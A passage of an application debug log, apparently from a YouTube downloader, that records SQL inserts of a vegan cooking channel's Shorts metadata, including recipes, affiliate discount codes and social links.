Life protein powders. What are your thoughts on these plant-based powders and which ones are your favorites?\n\nDISCOUNT CODES\nWe reached out to every company to see if they could provide you guys with a discount code and most of them did! All of these are discounts on your 1st purchase with each of them.\n\n1. Sprout Living: 20% off\nCode: STEAMYVEGAN20\nLink: https://sproutliving.com/STEAMYVEGAN20\n\n2. Vedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n3. Good Protein: 30% off\nCode: JANELLEC30\nLink: https://goodprotein.ca/JANELLEC30\n\n4. Sunwarrior: 15% off\nCode: JANELLEC\nLink: https://sunwarrior.com/pages/ambassad...\n\n5. Vivo Life: 15% off\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\n6. Complement: 15% off\nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c...\n\n7. Leanfit: 25% off\nCode: STEAMYVEGAN\nLink: https://leanfit.ca/STEAMYVEGAN\n\n8. Biosteel: 20% OFF\nCode: STEAMYVEGAN\nLink: http://biosteel.ca/STEAMYVEGAN\n\n9. Eat Just: only available in grocery stores\nWebsite Link: https://www.ju.st/eat/just-one\n\n10. Vega: No discount code provided by company\n\n*Affiliate Disclosure* By making purchases through any of these affiliate codes we do receive a small commission at NO COST to you. Your support really helps our channel grow, so thank you! \n\nCheck out my blog for the full review: steamyvegan.com\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out a few of my latest recipes here:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nNo Cooking Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\nHigh-Protein Costco Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul!\u00A0🛒\u00A0Vegan\u00A0and\u00A0Gluten\u00A0Fr...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "TOP 5 Plant-Based Protein Powders 💪🏋️", 1, nil, false, "KcgJevduE98", "https://www.youtube.com/shorts/KcgJevduE98", "/downloads/downloads/alec/Steamy Vegan/2025-08-01 TOP 5 Plant-Based Protein Powders 💪🏋️/TOP 5 Plant-Based Protein Powders 💪🏋️ [KcgJevduE98].NA", true, ~U[2025-08-01 00:00:00Z]] 20:31:09.031 [debug] QUERY OK source="sources" db=0.5ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.033 [debug] QUERY OK source="media_items" db=1.8ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-11 00:00:00Z], 1] 20:31:09.043 [debug] QUERY OK source="media_items" db=9.4ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is perfect for those busy weeknights when you want something that's an easy vegan recipe, high protein, healthy and takes under 20 minutes. My ginger beef stir fry is probably my favourite high protein vegan recipe of 2025 and I'm certain this will be a regular in your weekly meal prep plan. \n\nCheck out these easy 20 minute recipes for more recipe inspo:\n20 minute Tofu Noodle Bowls: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\nTofu Tikka Masala + 2 other 5 ingredient recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\nCrispy Sesame Ginger Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRecipe hitting blog soon!\nServes 2: 460 cal, 37g protein, 43g carbs, 20g fats\nWith ½ cup jasmine rice: 580 cal, 39g protein, 70g carbs, 20g fats\n1 cups dry TVP\n2 cups boiling hot water\n1 tbsp sesame oil\n2 small broccoli crowns, cut into small florets\n2½ tbsp low-sodium soy sauce or tamari\n1½ tbsp tahini\n1½ tbsp maple syrup\n1½ tbsp rice vinegar\n½ tbsp dark soy sauce (sub more soy sauce if GF)\n1 to 2 tbsp fresh grated ginger\n2 tbsp sesame seeds\n\nAdd TVP to a large heat-safe bowl and pour boiling hot water over top; let rehydrate for 10 minutes.\nMeanwhile, chop the broccoli into florets and whisk all the sauce ingredients together in a bowl. Set aside.\nHeat a large skillet over medium-high heat and add 1 tbsp sesame oil; heat until shimmering and you can smell it’s aroma. Drain off the remaining liquid from the TVP and add to the hot skillet.\nSpread into an even layer and cook undisturbed for 3 minutes allowing it to start browning. Stir, then cook again for 2 minutes further. Stir in the broccoli, cover the pan and let the broccoli cook for 5 minutes, until bright green but still a bit firm.\nPour over the sauce, reduce heat to medium-low and and let the sauce absorb and thicken slightly for 2 minutes. Divide into 3 bowls and serve over steamed rice.\n\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Ginger Beef 🥦 Stir Fry 🤤", "9fdce5aa-cbf1-4d0b-8900-fcdcaf612854", 1, [], false, "7i0qdn6-ono", "https://www.youtube.com/shorts/7i0qdn6-ono", 35, "/downloads/downloads/alec/Steamy Vegan/2025-07-11 Vegan Ginger Beef 🥦 Stir Fry 🤤/Vegan Ginger Beef 🥦 Stir Fry 🤤 [7i0qdn6-ono].NA", false, false, true, 1, ~U[2025-07-11 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This is perfect for those busy weeknights when you want something that's an easy vegan recipe, high protein, healthy and takes under 20 minutes. My ginger beef stir fry is probably my favourite high protein vegan recipe of 2025 and I'm certain this will be a regular in your weekly meal prep plan. \n\nCheck out these easy 20 minute recipes for more recipe inspo:\n20 minute Tofu Noodle Bowls: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\nTofu Tikka Masala + 2 other 5 ingredient recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\nCrispy Sesame Ginger Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRecipe hitting blog soon!\nServes 2: 460 cal, 37g protein, 43g carbs, 20g fats\nWith ½ cup jasmine rice: 580 cal, 39g protein, 70g carbs, 20g fats\n1 cups dry TVP\n2 cups boiling hot water\n1 tbsp sesame oil\n2 small broccoli crowns, cut into small florets\n2½ tbsp low-sodium soy sauce or tamari\n1½ tbsp tahini\n1½ tbsp maple syrup\n1½ tbsp rice vinegar\n½ tbsp dark soy sauce (sub more soy sauce if GF)\n1 to 2 tbsp fresh grated ginger\n2 tbsp sesame seeds\n\nAdd TVP to a large heat-safe bowl and pour boiling hot water over top; let rehydrate for 10 minutes.\nMeanwhile, chop the broccoli into florets and whisk all the sauce ingredients together in a bowl. Set aside.\nHeat a large skillet over medium-high heat and add 1 tbsp sesame oil; heat until shimmering and you can smell it’s aroma. Drain off the remaining liquid from the TVP and add to the hot skillet.\nSpread into an even layer and cook undisturbed for 3 minutes allowing it to start browning. Stir, then cook again for 2 minutes further. Stir in the broccoli, cover the pan and let the broccoli cook for 5 minutes, until bright green but still a bit firm.\nPour over the sauce, reduce heat to medium-low and and let the sauce absorb and thicken slightly for 2 minutes. Divide into 3 bowls and serve over steamed rice.\n\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Ginger Beef 🥦 Stir Fry 🤤", 1, nil, false, "7i0qdn6-ono", "https://www.youtube.com/shorts/7i0qdn6-ono", "/downloads/downloads/alec/Steamy Vegan/2025-07-11 Vegan Ginger Beef 🥦 Stir Fry 🤤/Vegan Ginger Beef 🥦 Stir Fry 🤤 [7i0qdn6-ono].NA", true, ~U[2025-07-11 00:00:00Z]] 20:31:09.045 [debug] QUERY OK source="sources" db=1.3ms idle=16.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.047 [debug] QUERY OK source="media_items" db=2.0ms idle=15.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-06 00:00:00Z], 1] 20:31:09.050 [debug] QUERY OK source="media_items" db=2.8ms idle=16.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This healthy, high protein vegan recipe is perfect for busy weeknights and has amazing macros at 40g of protein to keep you full. At just 20 minutes max to throw together this quick vegan recipe will save you tons of time prepping dinner, and be one your new favourite high protein vegan meals! \n\nFull recipe on my blog ➡️ https://steamyvegan.com/tofu-noodle-b...\n\nCheck out these easy recipes for more recipe inspo:\nTofu Tikka Masala + 2 other 5 ingredient recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\nCrispy Sesame Ginger Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\n\n🍏 Hurom H70 Juicer: Save 10% off a juicer! Code 'STEAMY10'\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "20 Minute Lazy High Protein Noodle Bowl 🍜", "52b06e5d-177b-4f1b-b433-2ca42b66fafa", 1, [], false, "Bp5gpy4EwIE", "https://www.youtube.com/shorts/Bp5gpy4EwIE", 36, "/downloads/downloads/alec/Steamy Vegan/2025-06-06 20 Minute Lazy High Protein Noodle Bowl 🍜/20 Minute Lazy High Protein Noodle Bowl 🍜 [Bp5gpy4EwIE].NA", false, false, true, 1, ~U[2025-06-06 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This healthy, high protein vegan recipe is perfect for busy weeknights and has amazing macros at 40g of protein to keep you full. At just 20 minutes max to throw together this quick vegan recipe will save you tons of time prepping dinner, and be one your new favourite high protein vegan meals! \n\nFull recipe on my blog ➡️ https://steamyvegan.com/tofu-noodle-b...\n\nCheck out these easy recipes for more recipe inspo:\nTofu Tikka Masala + 2 other 5 ingredient recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\nCrispy Sesame Ginger Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\n\n🍏 Hurom H70 Juicer: Save 10% off a juicer! Code 'STEAMY10'\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "20 Minute Lazy High Protein Noodle Bowl 🍜", 1, nil, false, "Bp5gpy4EwIE", "https://www.youtube.com/shorts/Bp5gpy4EwIE", "/downloads/downloads/alec/Steamy Vegan/2025-06-06 20 Minute Lazy High Protein Noodle Bowl 🍜/20 Minute Lazy High Protein Noodle Bowl 🍜 [Bp5gpy4EwIE].NA", true, ~U[2025-06-06 00:00:00Z]] 20:31:09.051 [debug] QUERY OK source="sources" db=0.7ms idle=17.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.054 [debug] QUERY OK source="media_items" db=2.3ms idle=8.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-23 00:00:00Z], 1] 20:31:09.056 [debug] QUERY OK source="media_items" db=1.6ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Hawaiian Macaroni Salad is crazy delicious, so creamy and has the perfect tangy bite!\n\nGet the full recipe ➡️ https://steamyvegan.com/hawaiian-vega...", "Hawaiian Macaroni Salad 🌺☀️Make this for your next BBQ!", "951dde0e-1662-4740-9007-c4a1ca694316", 1, [], false, "xWH7rOtDzig", "https://www.youtube.com/shorts/xWH7rOtDzig", 37, "/downloads/downloads/alec/Steamy Vegan/2025-05-23 Hawaiian Macaroni Salad 🌺☀️Make this for your next BBQ!/Hawaiian Macaroni Salad 🌺☀️Make this for your next BBQ! [xWH7rOtDzig].NA", false, false, true, 1, ~U[2025-05-23 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Hawaiian Macaroni Salad is crazy delicious, so creamy and has the perfect tangy bite!\n\nGet the full recipe ➡️ https://steamyvegan.com/hawaiian-vega...", "Hawaiian Macaroni Salad 🌺☀️Make this for your next BBQ!", 1, nil, false, "xWH7rOtDzig", "https://www.youtube.com/shorts/xWH7rOtDzig", "/downloads/downloads/alec/Steamy Vegan/2025-05-23 Hawaiian Macaroni Salad 🌺☀️Make this for your next BBQ!/Hawaiian Macaroni Salad 🌺☀️Make this for your next BBQ! [xWH7rOtDzig].NA", true, ~U[2025-05-23 00:00:00Z]] 20:31:09.057 [debug] QUERY OK source="sources" db=0.7ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.059 [debug] QUERY OK source="media_items" db=1.9ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-21 00:00:00Z], 1] 20:31:09.061 [debug] QUERY OK source="media_items" db=0.7ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you're a tofu skeptic, this crispy sesame ginger tofu is the only recipe you'll need to convert you 🤤 \n\nGet the full recipe ➡️ https://steamyvegan.com/sesame-ginger...", "This CRISPY Sesame Ginger Tofu is blowing my mind 🤯", "53348c81-c7a6-497c-b38c-dad296745ae7", 1, [], false, "98xeJq5BL08", "https://www.youtube.com/shorts/98xeJq5BL08", 38, "/downloads/downloads/alec/Steamy Vegan/2025-05-21 This CRISPY Sesame Ginger Tofu is blowing my mind 🤯/This CRISPY Sesame Ginger Tofu is blowing my mind 🤯 [98xeJq5BL08].NA", false, false, true, 1, ~U[2025-05-21 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "If you're a tofu skeptic, this crispy sesame ginger tofu is the only recipe you'll need to convert you 🤤 \n\nGet the full recipe ➡️ https://steamyvegan.com/sesame-ginger...", "This CRISPY Sesame Ginger Tofu is blowing my mind 🤯", 1, nil, false, "98xeJq5BL08", "https://www.youtube.com/shorts/98xeJq5BL08", "/downloads/downloads/alec/Steamy Vegan/2025-05-21 This CRISPY Sesame Ginger Tofu is blowing my mind 🤯/This CRISPY Sesame Ginger Tofu is blowing my mind 🤯 [98xeJq5BL08].NA", true, ~U[2025-05-21 00:00:00Z]] 20:31:09.062 [debug] QUERY OK source="sources" db=0.5ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.064 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-20 00:00:00Z], 1] 20:31:09.066 [debug] QUERY OK source="media_items" db=0.8ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I’d rather drink my brain-food 🧠 in a good cup of coffee ☕️ than gag on them in a bunch of expensive pills. 💊 Just sayin’ 🤷🏻\u200D♀️ \n\nUse my code STEAMYVEGAN to save 20% off your first order of #JostArriba at checkout @eightbillionplanet \n\n🔗: https://www.eightbillion.com/steamyvegan\n\nIt’s truly SO much more than just mushroom coffee 🙌🏻 \n\n#mushroomcoffee #adaptogen #nootropic #coffeealternative", "POV: you drink delicious brain-boosting coffee 🧠 ☕️ instead of gag on expensive pills 💊", "e8121aef-9b33-4b9b-814b-7ad2712d6797", 1, [], false, "GHACM_hN2Cc", "https://www.youtube.com/shorts/GHACM_hN2Cc", 39, "/downloads/downloads/alec/Steamy Vegan/2025-04-20 POV: you drink delicious brain-boosting coffee 🧠 ☕️ instead of gag on expensive pills 💊/POV: you drink delicious brain-boosting coffee 🧠 ☕️ instead of gag on expensive pills 💊 [GHACM_hN2Cc].NA", false, false, true, 1, ~U[2025-04-20 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I’d rather drink my brain-food 🧠 in a good cup of coffee ☕️ than gag on them in a bunch of expensive pills. 💊 Just sayin’ 🤷🏻\u200D♀️ \n\nUse my code STEAMYVEGAN to save 20% off your first order of #JostArriba at checkout @eightbillionplanet \n\n🔗: https://www.eightbillion.com/steamyvegan\n\nIt’s truly SO much more than just mushroom coffee 🙌🏻 \n\n#mushroomcoffee #adaptogen #nootropic #coffeealternative", "POV: you drink delicious brain-boosting coffee 🧠 ☕️ instead of gag on expensive pills 💊", 1, nil, false, "GHACM_hN2Cc", "https://www.youtube.com/shorts/GHACM_hN2Cc", "/downloads/downloads/alec/Steamy Vegan/2025-04-20 POV: you drink delicious brain-boosting coffee 🧠 ☕️ instead of gag on expensive pills 💊/POV: you drink delicious brain-boosting coffee 🧠 ☕️ instead of gag on expensive pills 💊 [GHACM_hN2Cc].NA", true, ~U[2025-04-20 00:00:00Z]] 20:31:09.067 [debug] QUERY OK source="sources" db=1.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.070 [debug] QUERY OK source="media_items" db=2.5ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-30 00:00:00Z], 1] 20:31:09.073 [debug] QUERY OK source="media_items" db=2.0ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These protein pancakes are vegan, gluten-free and perfect for those looking to add more high-protein breakfast recipes to their vegan diet. I've spent years working on perfecting my protein pancakes and these ones definitely 'take the cake' LOL! \n\nGet 